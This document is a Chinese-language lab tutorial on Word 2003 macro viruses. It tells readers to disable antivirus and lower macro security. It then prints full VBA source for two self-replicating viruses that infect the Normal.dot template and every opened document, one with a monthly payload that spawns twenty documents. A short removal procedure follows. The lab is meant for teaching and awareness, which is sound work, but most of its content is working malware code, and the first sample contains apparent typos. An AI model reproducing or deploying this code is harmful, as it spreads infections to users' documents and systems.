Word宏病毒实验

Word宏病毒实验

  1. 实验目的

Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。

  1. 实验所需条件和环境

硬件设备:局域网,终端PC机。

系统软件:Windows系列操作系统

支撑软件:Word 2003

软件设置:关闭杀毒软;打开Word 2003,在工具à宏à安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic项目的访问

实验环境配置如下图所示:

宏病毒传播示意图

  1. 实验内容和分析

为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。

    1. 例1 自我复制,感染word公用模板和当前文档

代码如下:

'Micro-Virus

Sub Document_Open()

On Error Resume Next

Application.DisplayStatusBar = False

Options.SaveNormalPrompt = False

Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)

Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule

End If

With Host

If .Lines(1.1) <> "'Micro-Virus" Then

.DeleteLines 1, .CountOfLines

.InsertLines 1, Ourcode

.ReplaceLine 2, "Sub Document_Close()"

If ThisDocument = nomaltemplate Then

.ReplaceLine 2, "Sub Document_Open()"

ActiveDocument.SaveAs ActiveDocument.FullName

End If

End If

End With

MsgBox "MicroVirus by Content Security Lab"

End Sub

打开一个word文档,然后按Alt+F11调用宏编写窗口(工具à宏àVisual Basicà宏编辑器),在左侧的project--->Microsoft Word对象àThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。

      1. 代码解释

以上代码的基本执行流程如下:

  1. 进行必要的自我保护

Application.DisplayStatusBar = False

Options.SaveNormalPrompt = False

高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。

本例中只是屏蔽状态栏,以免显示宏的运行状态,并且修改公用模板时自动保存,不给用户提示。

  1. 得到当前文档的代码对象和公用模板的代码对象

Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)

Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule

End If

  1. 检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板,并且修改函数名。

With Host

If .Lines(1.1) <> "'Micro-Virus" Then

.DeleteLines 1, .CountOfLines

.InsertLines 1, Ourcode

.ReplaceLine 2, "Sub Document_Close()"

If ThisDocument = nomaltemplate Then

.ReplaceLine 2, "Sub Document_Open()"

ActiveDocument.SaveAs ActiveDocument.FullName

End If

End If

End With

  1. 执行恶意代码

MsgBox "MicroVirus by Content Security Lab"

    1. 例2 具有一定破坏性的宏

我们可以对上例中的恶意代码稍加修改,使其具有一定的破坏性(这里以著名宏病毒"台湾一号"的恶意代码部分为基础,为使其在word2003版本中运行,且降低破坏性,对源代码作适当修改)。

完整代码如下:

'moonlight

Dim nm(4)

Sub Document_Open()

'DisableInput 1

Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule

Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule

End If

With host

If .Lines(1, 1) <> "'moonlight" Then

.DeleteLines 1, .CountOfLines

.InsertLines 1, ourcodemodule.Lines(1, 100)

.ReplaceLine 3, "Sub Document_Close()"

If ThisDocument = NormalTemplate Then

.ReplaceLine 3, "Sub Document_Open()"

ActiveDocument.SaveAs ActiveDocument.FullName

End If

End If

End With

Count = 0

If Day(Now()) = 1 Then

try:

On Error GoTo try

test = -1

con = 1

tog$ = ""

i = 0

While test = -1

For i = 0 To 4

nm(i) = Int(Rnd() * 10)

con = con * nm(i)

If i = 4 Then

tog$ = tog$ + Str$(nm(4)) + "=?"

GoTo beg

End If

tog$ = tog$ + Str$(nm(i)) + "*"

Next i

beg:

Beep

ans$ = InputBox("今天是" + Date + ",跟你玩一个心算游戏" + Chr(13) + "若你答错,只好接受震撼教育......" + Chr(13) + tog$, "台湾NO.1 Macro Virus")

If RTrim(LTrim(ans)) = LTrim(Str$(con)) Then

Documents.Add

Selection.Paragraphs.Alignment = wdAlignParagraphCenter

Beep

With Selection.Font

.Name = "细明体"

.Size = 16

.Bold = 1

.Underline = 1

End With

Selection.InsertAfter Text:="何谓宏病毒"

Selection.InsertParagraphAfter

Beep

Selection.InsertAfter Text:="答案:"

Selection.Font.Italic = 1

Selection.InsertAfter Text:="我就是......"

Selection.InsertParagraphAfter

Selection.InsertParagraphAfter

Selection.Font.Italic = 0

Beep

Selection.InsertAfter Text:="如何预防宏病毒"

Selection.InsertParagraphAfter

Beep

Selection.InsertAfter Text:="答案:"

Selection.Font.Italic = 1

Selection.InsertAfter Text:="不要看我......"

GoTo out

Else

Count = Count + 1

For j = 1 To 20

Beep

Documents.Add

Next j

Selection.Paragraphs.Alignment = wdAlignParagraphCenter

Selection.InsertAfter Text:="宏病毒"

If Count = 2 Then GoTo out

GoTo try

End If

Wend

End If

out:

End Sub

该病毒的效果如下:当打开被感染的word文档时,首先进行自我复制,感染word模板,然后检查日期,看是否是1日(即在每月的1日会发作),然后跳出一个对话框,要求用户进行一次心算游戏,这里只用四个小于10的数相乘,如果作者的计算正确,那么就会新建一个文档,跳出如下字幕:

++何谓宏病毒++

++答案:我就是......++

++如何预防宏病毒++

++答案:不要看我......++

如果计算错误,新建20个写有"宏病毒"字样的word文档,然后再一次进行心算游戏,总共进行3次,然后跳出程序。关闭文档的时候也会执行同样的询问。

  1. 清除宏病毒

对每一个受感染的word文档进行如下操作。

打开受感染的word文档,进入宏编辑环境(Alt+F11),打开NormalàMicrosoft Word对象àThis Document,清除其中的病毒代码(只要删除所有内容即可)。

然后打开ProjectàMicrosoft WordàThis Document,清除其中的病毒代码。

实际上,模板的病毒代码只要在处理最后一个受感染文件时清除即可,然而清除模板病毒后,如果重新打开其他已感染文件,模板将再次被感染,因此为了保证病毒被清除,可以查看每一个受感染文档的模板,如果存在病毒代码,都进行一次清除。

相关推荐
蓝田~29 分钟前
观察者模式和订阅模式
windows·观察者模式
梓仁沐白7 小时前
ubuntu+windows双系统切换后蓝牙设备无法连接
windows·ubuntu
九鼎科技-Leo11 小时前
什么是 WPF 中的依赖属性?有什么作用?
windows·c#·.net·wpf
Yang.9913 小时前
基于Windows系统用C++做一个点名工具
c++·windows·sql·visual studio code·sqlite3
我不瘦但很逗14 小时前
Windows下使用DBeaver连接云数据库(MySQL)
数据库·windows
ashane131415 小时前
Java list
java·windows·list
万里沧海寄云帆15 小时前
Word 插入分节符页码更新问题
windows·microsoft·word
dot.Net安全矩阵16 小时前
.NET 通过模块和驱动收集本地EDR的工具
windows·安全·web安全·.net·交互
编程修仙18 小时前
Collections工具类
linux·windows·python
程序员小羊!19 小时前
高级 SQL 技巧讲解
windows